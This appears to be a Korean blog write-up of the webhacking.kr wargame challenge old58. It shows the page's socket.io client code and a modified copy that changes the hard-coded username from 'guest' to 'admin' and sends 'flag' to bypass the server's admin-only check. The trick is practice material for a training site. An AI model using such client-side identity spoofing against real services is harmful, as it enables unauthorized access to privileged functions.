webhacking.kr - old58
              
          2021. 1. 16. 10:37ㆍWarGame/webhaking.kr

처음 들어가면 이렇게 백지인데 명령어를 쳐보면

이런식으로 무언가를 출력해주려고 합니다.
flag를 출력하려고 하면
"permission denied... admin only!"
라는 메세지를 출력합니다.
소스코드를 확인해보면
| 
 1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
 | 
  $(function () { 
      var username = "guest"; 
      var socket = io(); 
      $('form').submit(function(e){ 
        e.preventDefault(); 
        socket.emit('cmd',username+":"+$('#m').val()); 
        $('#m').val(''); 
        return false; 
      }); 
      socket.on('cmd', function(msg){ 
        $('#messages').append($('<li>').text(msg)); 
      }); 
    }); 
 | 
cs | 
이 코드가 통신하는 부분인데 guest --> admin 이 되야할 것 같고, 우리가 필요한건 flag이므로
| 
 1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 
 | 
    $(function () { 
      var username = "admin"; 
      var socket = io(); 
      $('form').submit(function(e){ 
        e.preventDefault(); 
        socket.emit('cmd',username+":"+'flag'); 
        $('#m').val(''); 
        return false; 
      }); 
      socket.on('cmd', function(msg){ 
        $('#messages').append($('<li>').text(msg)); 
      }); 
    }); 
 | 
cs | 
와 같이 변경한 후 flag를 입력하면

flag를 획득할 수 있습니다 :)
'WarGame > webhaking.kr' 카테고리의 다른 글
| webhacking.kr - old54 (0) | 2021.01.25 | 
|---|---|
| webhacking.kr - old47 (0) | 2021.01.22 | 
| Webhacking.kr 24번 (0) | 2018.11.07 | 
| Webhacking.kr 4번 (0) | 2018.11.07 | 
| Webhacking.kr 17번 (0) | 2018.11.06 |